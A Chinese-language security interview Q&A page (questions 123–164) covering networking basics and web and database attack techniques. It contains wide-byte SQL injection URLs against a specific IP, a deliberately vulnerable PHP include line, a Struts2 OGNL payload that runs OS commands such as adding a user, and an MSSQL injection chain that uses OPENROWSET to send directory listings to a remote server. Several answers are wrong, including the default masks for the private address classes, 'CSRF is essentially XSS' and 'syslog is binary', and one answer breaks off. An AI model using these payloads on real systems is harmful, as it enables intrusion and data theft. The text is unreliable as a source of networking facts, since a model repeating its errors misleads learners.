內網網址

123.NAT(網絡地址轉換)協議?

內網的計算機以 NAT(網絡地址轉換)協議,通過一個公共的網關訪問 Internet。

內網的計算機可向 Internet 上的其他計算機發送連接請求,但 Internet 上其他的計算機無法向內網的計算機發送連接請求。

NAT(Network Address Translator)是網絡地址轉換,它實現內網的 IP 地址與公網的地址之間的相互轉換,將大量的內網 IP 地址轉換爲一個或少量的公網IP 地址,減少對公網 IP 地址的佔用。NAT 的最典型應用是:在一個局域網內,只需要一臺計算機連接上 Internet,就可以利用 NAT 共享 Internet 連接,使局域網內其他計算機也可以上網。使用 NAT 協議,局域網內的計算機可以訪問Internet 上的計算機,但 Internet 上的計算機無法訪問局域網內的計算機。

A 類 10.0.0.0–10.255.255.255

B 類 172.16.0.0–172.31.255.255

C 類 192.168.0.0–192.168.255.255

內網保留地址編輯

Internet 設計者保留了 IPv4 地址空間的一部份供專用地址使用,專用地址空間中的 IPv4 地址叫專用地址,這些地址永遠不會被當做公用地址來分配,所以專用地址永遠不會與公用地址重複.

IPv4 專用地址如下:

IP 等級 IP 位置

Class A 10.0.0.0-10.255.255.255
默認子網掩碼:255.0.0.0

Class B 172.16.0.0-172.31.255.255
默認子網掩碼:255.240.0.0

Class C 192.168.0.0-192.168.255.255
默認子網掩碼:255.255.0.0

內網是可以上網的.內網需要一臺服務器或路由器做網關,通過它來上網做網關的服務器有一個網關(服務器/路由器)的 IP 地址,其它內網電腦的 IP 可根據它來隨意設置,前提是 IP 前三個數要跟它一樣,第四個可從 0-255 中任選但要跟服務器的 IP 不同

124.內網穿透?

即 NAT 穿透,採用端口映射,讓外網的電腦找到處於內網的電腦,同時也可基於 HTTP/2 實現 web 內網穿透。

125.虛擬專用網絡?

功能是:在公用網絡上建立專用網絡,進行加密通訊。在企業網絡中有廣泛應用。

VPN 網關通過對數據包的加密和數據包目標地址的轉換實現遠程訪問。例如某

公司員工出差到外地,他想訪問企業內網的服務器資源,這種訪問就屬於遠程訪問。

讓外地員工訪問到內網資源,利用 VPN 的解決方法就是在內網中架設一臺 VPN服務器。外地員工在當地連上互聯網後,通過互聯網連接 VPN 服務器,然後通過 VPN 服務器進入企業內網。爲了保證數據安全,VPN 服務器和客戶機之間的通訊數據都進行了加密處理。有了數據加密,就可以認爲數據是在一條專用的數據鏈路上進行安全傳輸,就如同專門架設了一個專用網絡一樣,但實際上 VPN使用的是互聯網上的公用鏈路,因此 VPN 稱爲虛擬專用網絡,其實質上就是利用加密技術在公網上封裝出一個數據通訊隧道。有了 VPN 技術,用戶無論是在外地出差還是在家中辦公,只要能上互聯網就能利用 VPN 訪問內網資源,這就是 VPN 在企業中應用得如此廣泛的原因。

126.二層交換機?

二層交換機工作於 OSI 模型的第 2 層(數據鏈路層),故而稱爲二層交換機。二層交換技術的發展已經比較成熟,二層交換機屬數據鏈路層設備,可以識別數據包中的 MAC 地址信息,根據 MAC 地址進行轉發,並將這些 MAC 地址與對應的端口記錄在自己內部的一個地址表中。

過程

(1) 當交換機從某個端口收到一個數據包,它先讀取包頭中的源 MAC 地址,這樣它就知道源 MAC 地址的機器是連在哪個端口上的;

(2) 再去讀取包頭中的目的 MAC 地址,並在地址表中查找相應的端口;

(3)如表中有與這目的 MAC 地址對應的端口,把數據包直接複製到這端口上;

(4) 如表中找不到相應的端口則把數據包廣播到所有端口上,當目的機器對源機器迴應時,交換機又可以學習一目的 MAC 地址與哪個端口對應,在下次傳送數據時就不再需要對所有端口進行廣播了。

不斷的循環這個過程,對於全網的 MAC 地址信息都可以學習到,二層交換機就是這樣建立和維護它自己的地址表。

127.路由技術?

路由器工作在 OSI 模型的第三層—網絡層操作,其工作模式與二層交換相似,但路由器工作在第三層,這個區別決定了路由和交換在傳遞包時使用不同的控制信息,實現功能的方式就不同。工作原理是在路由器的內部也有一個表,這個表所標示的是如果要去某一個地方,下一步應該向哪裏走,如果能從路由表中找到數據包下一步往哪裏走,把鏈路層信息加上轉發出去;如果不能知道下一步走向哪裏,則將此包丟棄,然後返回一個信息交給源地址。

路由技術實質上來說不過兩種功能:決定最優路由和轉發數據包。

128.三層交換機?

三層交換機就是具有部分路由器功能的交換機,三層交換機的最重要目的是加快大型局域網內部的數據交換,所具有的路由功能也是爲這目的服務的,能夠做到一次路由,多次轉發。對於數據包轉發等規律性的過程由硬件高速實現,而像路由信息更新、路由表維護、路由計算、路由確定等功能,由軟件實現。三層交換技術就是二層交換技術+三層轉發技術。傳統交換技術是在 OSI 網絡標準模型第二層——數據鏈路層進行操作的,而三層交換技術是在網絡模型中的第三層實現了數據包的高速轉發,既可實現網絡路由功能,又可根據不同網絡狀況做到最優網絡性能。

129.IPv6 地址表示?

IPv6 的 128 位地址通常寫成 8 組,每組爲四個十六進制數的形式。比如:
AD80:0000:0000:0000:ABAA:0000:00C2:0002 是一個合法的 IPv6 地址。這個地址比較長,看起來不方便也不易於書寫。零壓縮法可以用來縮減其長度。如果幾個連續段位的值都是 0,那麼這些 0 就可以簡單的以::來表示,上述地址就可寫成 AD80::ABAA:0000:00C2:0002。同時前導的零可以省略,因此

2001:0DB8:02de::0e13 等價於 2001:DB8:2de::e13。

130.如果子域名和頂級域名不同源,在哪裏可以設置叫他們同源?

在 IP 綁定域名的位置,將同一個主機 IP 指向解析子域名和頂級域名

131.如何設置可以跨域請求數據?

使用一個新的 Origin 請求頭和一個新的 Access-Control-Allow-Origin 響應頭擴展了 HTTP。允許服務端設置 Access-Control-Allow-Origin 頭標識哪些站點可以請求文件,或者設置 Access-Control-Allow-Origin 頭爲"*",允許任意站點訪問文件。瀏覽器,例如 Firefox3.5,Safari4,IE10 使用這個頭允許跨域 HTTP請求。

132.jsonp 是做什麼的?

JOSNP 允許頁面接受另一個域的 JSON 數據,通過在頁面增加一個可以從其它域加載帶有回調的 JSON 響應的

133.Ajax 是什麼?

AJAX = 異步 JavaScript 和 XML。AJAX 是一種用於創建快速動態網頁的技術。通過在後臺與服務器進行少量數據交換,AJAX 可以使網頁實現異步更新。這意味着可以在不重新加載整個網頁的情況下,對網頁的某部分進行更新。

134.Ajax 是否遵循同源策略?

是,同源策略的本質是一種約定,可以說 web 的行爲就是構建在這種約定之上的。就好比我們人類的行爲必須受到法律的約束一樣。同源策略的目的就是限制不同源的 document 或者腳本之間的相互訪問,以免造成干擾和混亂。ajax 太靈活了,各種請求說法就發,如果沒有同源策略的限制,發到哪裏都行,只要你構造好參數和請求路徑,那人人都是黑客了,這樣會導致各種敏感數據的泄露。

135.寬字符注入的原理?如何利用寬字符注入漏洞,payload 如何構造?

GB2312、GBK、GB18030、BIG5、Shift_JIS 等這些都是常說的寬字節,實際

上只有兩字節。寬字節帶來的安全問題主要是吃 ASCII 字符(一字節)的現象。

MYSQL 的字符集轉換過程

  1. MySQL Server 收到請求時將請求數據從 character_set_client 轉換爲character_set_connection;

  2. 進行內部操作前將請求數據從 character_set_connection 轉換爲內部操作

字符集,其確定方法如下:

  1. 使用每個數據字段的 CHARACTER SET 設定值;

  2. 若上述值不存在,則使用對應數據表的 DEFAULT CHARACTER SET 設定值

(MySQL 擴展,非 SQL 標準);

  1. 若上述值不存在,則使用對應數據庫的 DEFAULT CHARACTER SET 設定值;

  2. 若上述值不存在,則使用 character_set_server 設定值。

將操作結果從內部操作字符集轉換爲 character_set_results。

寬字節注入發生的位置就是 PHP 發送請求到 MYSQL 時字符集使用

character_set_client 設置值進行了一次編碼。

注入點:http://103.238.227.13:10083/index.php?id=1 提交 %bf’ 出現錯

誤,由此可見存在寬字節注入。

http://103.238.227.13:10083/index.php?id=1%df’ order by 2%23

http://103.238.227.13:10083/index.php?id=-10%df’ union select 1,databases()%23

136.CRLF 注入的原理?

HTTP 協議是依靠兩個 CRLF,即\ r\n 來分割 HTTP 頭部及響應體。基於這個認知,可以推出,HRS 問題是由於服務端程序沒有過濾掉頭部中的特殊字符% 0D0A%,直接輸出到了返回的數據中,導致錯誤的解析。而在日常開發中,最常見的莫過於有以下的兩種功能 URL 跳轉和 Cookie 的設置中出現。一旦我們能夠控制 http 頭,通過注入一些 CRLF 這樣就可以控制頭和身體的分割線,這樣我們就可以向身或是頭中注入些東西了。所以 CRLF Injection 又叫 HTTP Response Splitting,簡稱 HRS

137.如果給你一個 XSS 漏洞,你還需要哪些條件可以構造一個蠕蟲?

存儲型的 xss,並且需要訪問量大的頁面或者關注按鈕,如微博,論壇等

138.在社交類的網站中,哪些地方可能會出現蠕蟲?

微博關注,社交報告調查,貼吧評論等

139.如果叫你來防禦蠕蟲,你有哪些方法?

對輸入(和 URL 參數)進行過濾,對輸出進行編碼。

140.如果給你一個 XSS 盲打漏洞,但是返回來的信息顯示,他的後臺是在內網,並且只能使用內網訪問,那麼你怎麼利用這個 XSS?

必須是 self xss + csrf +ssrf 到 getshel

141.php 的 LFI,本地包含漏洞原理是什麼?寫一段帶有漏洞的代碼。

如果允許客戶端用戶輸入控制動態包含在服務器端的文件,會導致惡意代碼的執行及敏感信息泄露,主要包括本地文件包含和遠程文件包含兩種形式。

常見包含函數有:include()、require()
區別:
include 是當代碼執行到它的時候才加載文件,發生錯誤的時候只是給一個警告,然後繼續往下執行require 是隻要程序一執行就會立即調用文件,發生錯誤的時候會輸出錯誤信息,並且終止腳本的運行

<?php include($_GET['f']); ?>

142.CSRF 漏洞的本質是什麼?

本質就是 xss

143.你都瞭解哪些 java 框架?

spring 和 struts2 框架

144.ibats 的參數化查詢能不能有效的控制 sql 注入?有沒有危險的方法可以造成 sql 注入?

SQL 注入主要的是因爲文本框的內容和 SQL 連接以後會改變 SQL 的語義,例如:文本框包含單引號什麼的參數化查詢就可以將這些內容獨立作爲參數,本身的語句不會改變。

145.說說兩次 struts2 漏洞的原理?

Struts2 的核心是使用的 webwork 框架,處理 action 時通過調用底層的

getter/setter 方法來處理 http 的參數,它將每個 http 參數聲明爲一個 ONGL(這

裏是 ONGL 的介紹)語句。當我們提交一個 http 參數:

?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys

ONGL 將它轉換爲:

action.getUser().getAddress().setCity(“Bishkek”)
action.getUser().setFavoriteDrink(“kumys”)

這是通過 ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的 HTTP

參數調用 ValueStack.setValue()。

爲了防範篡改服務器端對象,XWork 的 ParametersInterceptor 不允許參數名中出現“#”字符,但如果使用了 Java 的 unicode 字符串表示\u0023,攻擊者就可以繞過保護,修改保護 Java 方式執行的值:

此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊

?(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(a

aa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u

003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&

(asdf)((’\u0023rt.exit(1)’)(\u0023rt\[email protected]@getRunti

me()))=1

轉義後是這樣:

?(’#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(aaa)((’#c

ontext[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=ne

w%20java.lang.Boolean(“false”)))&(asdf)((’#rt.exit(1)’)(#[email protected]

ntime@getRuntime()))=1

OGNL 處理時最終的結果就是

java.lang.Runtime.getRuntime().exit(1); //關閉程序,即將 web 程序關閉

類似的可以執行

java.lang.Runtime.getRuntime().exec(“net user 用戶名 密碼 /add”);//增加操作系統用戶,在有權限的情況下能成功(在 URL 中用%20 替換空格,%2F 替換/)
只要有權限就可以執行任何 DOS 命令

146.ongl 在這個 payload 中起了什麼作用?

Ognl 表達式語言,Struts 標籤默認支持的表達式語言,必須配置 Struts 標籤用,不能離開 Struts 標籤直接使用,就是說 Ognl 必須在 Struts 中使用

147.\u0023 是什麼字符的 16 進制編碼?爲什麼在 payload 中要用他?

#,在 S2-005 中可通過\u0023 繞過過濾執行

148.xss filter 在 java 程序的哪裏設置?

在 web.xml 裏面配置

149.說下 java 的類反射在安全上可能存在哪些問題?

可能會導致 JAVA 反序化漏洞

150.tomcat 要做哪些安全加固?

升級到最新穩定版

從監聽端口上加固

僅在本地監聽

如果 Tomcat 不需要對外提供服務,則監聽在本地迴環,前面放 Nginx。如果需要對外提供訪問,比如一個 Nginx 掛多個 Tomcat,那麼在服務器上用
iptables 只允許負載均衡器的 IP 來訪問

關閉 8009 端口

現在我們一般不用 Apache 通過 AJP 協議來調用 Tomcat 了,所以 AJP 端口可以關閉。

8005 端口

查看端口占用情況

自定義錯誤頁面,隱藏 Tomcat 信息 ,編輯 conf/web.xml,在標籤上添加以下內容:

禁用 Tomcat 管理頁面

刪除 webapps 目錄下 Tomcat 原有的所有內容

刪除 conf/Catalina/localhost/下的 host-manager.xml 和 manager.xml 這兩個文件

用普通用戶啓動 Tomcat

禁止 Tomcat 列目錄

如果 tomcat 重啓的話,webapps 下,你刪除的後臺會不會又回來?

你只是刪除了後臺,並沒有刪除 webaspps 下 war 包

151.mysql 數據庫默認有哪些庫?說出庫的名字?

1.mysql 庫,存儲用戶等信息

2.information_schema,存儲表、鎖等性能信息

3.test,mysql 自建測試庫

4.performance_schema,互斥鎖等信息(5.6 之前需要手動開啓,從 5.6 開始默認開啓)

152.mysql 的用戶名密碼是存放在那張表裏面?mysql 密碼採用哪種加密方式?

mysql.user 表

MySQL 4.1 版本之前是 MySQL323 加密,MySQL 4.1 和之後的版本都是
MySQLSHA1 加密

MYSQL323 加密中生成的是 16 位字符串,而在 MySQLSHA1 中生存的是 41位字符串,其中是不加入實際的密碼運算中,通過觀察在很多用戶中都攜帶了"",在實際破解過程中去掉"*",也就是說 MySQLSHA1 加密的密碼的實際位數是 40 位。

153.mysql 表權限裏面,除了增刪改查,文件讀寫,還有哪些權限?

排序,查詢,索引等

154.mysql 安全要如何做?

Mysql 賬戶權限安全

Mysql 數據的網絡安全配置

密碼策略安全

Mysql 日誌

Mysql 數據庫服務所在主機安全配置

部署 SQL 注入檢測、防禦模塊

mysqld 安全相關啓動選項

mysql 備份策略

155.sqlserver public 權限要如何提權?

注入點執行

aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2 nvarchar(500))

注入點執行

aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2) exec master.dbo.xp_dirtree [d:/] ,1,1;–

注入點執行

aaa.com x.asp?id=123;insert into OPENROWSET (‘sqloledb’,‘server=xx.xx.xx.xx,1433;Initial Catalog=master;uid=sa;pwd=woshinidie’,‘select dirtree,num1,num2 from dhtemq’) select dirtree,num1,num2 from ##dhtemq

xx.xx.xx.xx 執行

select * from dhtemq

–建立一個臨時表,一般的表我們是無辦法建立的,我們只能建立臨時表

#-----爲本地臨時表

##----爲全局臨時表

create table ##nonamed(

dir ntext,

num int

)

–調用存儲過程把執行回來的數據存到臨時表裏面

insert ##nonamed execute master…xp_dirtree ‘c:/’,1

–然後採用 openrowset 函數把臨時表的數據導到本地 MSSQL 的 dirtree

表裏面了

insert into openrowset(‘sqloledb’, ‘192.0.0.1’;‘user’;‘pass’, ‘select * from Northwind.dbo.dirtree’)

select * from ##nonamed

以上方法,也就是說 public 可以遍歷用戶服務器的目錄

在 NBSI 中,只要把臨時表名加前加##就可以了,但要注意 URL 轉碼,即

寫成:%23%23nonamed 就 OK 了!

156.簡述 Linux 系統安全加固需要做哪些方面?

1.密碼安全策略

2.關閉不必要的端口和服務

3.文件權限的設置等

157.你使用什麼工具來判斷系統是否存在後門?

pchunter 攻擊查看進程和服務

160.Linux 的 Selinux 是什麼?如何設置 Selinux?

SELinux 是一種安全子系統,它能控制程序只能訪問特定文件

使用 setup 工具進入圖形化關閉搜索或者修改/etc/sysconfig/selinux 文件

SELINUX=disabled

防火牆打開使用 service iptables start 或則/etc/init.d/iptables start

161.iptables 工作在 TCP/IP 模型中的哪層?

網絡層

162.syslog 裏面都有哪些日誌?安裝軟件的日誌去哪找?

如何查詢 ssh 的登錄日誌?

cd /var/log

less secure

163.syslog 可不可以使用 vi 等工具直接查看?是二進制文件嗎?

不能,只能使用 cat 之類的命令攻擊查看,屬於二進制文件

164.DNS 在滲透中的作用?

通過 DNS 可以查詢對應的 IP 主機名,也可以查詢出是否存在域傳輸漏洞

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章